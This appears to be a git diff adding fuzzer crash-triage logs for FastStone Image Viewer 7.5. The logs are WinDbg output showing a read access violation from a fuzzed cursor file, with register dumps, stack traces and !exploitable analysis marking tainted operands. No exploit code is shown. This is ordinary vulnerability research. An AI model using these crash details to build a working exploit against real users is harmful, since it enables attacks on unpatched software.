00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1eac.1998): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=001fed2d ecx=07ea7b10 edx=00003879 esi=ff830010 edi=0fd04fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.20437e+037 -2.93917e-025 -1.9995e+018 1.33324e-016 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002d7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002d7000 14aff16e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002d7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..bf85e7e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1EAC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1EAC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1eac.1998): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=001fed2d ecx=07ea7b10 edx=00003879 esi=ff830010 edi=0fd04fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.20437e+037 -2.93917e-025 -1.9995e+018 1.33324e-016 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002d7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002d7000 14aff16e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002d7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4ade694 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..5a2b549 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..242d0f7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/28687/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1284: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1284: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 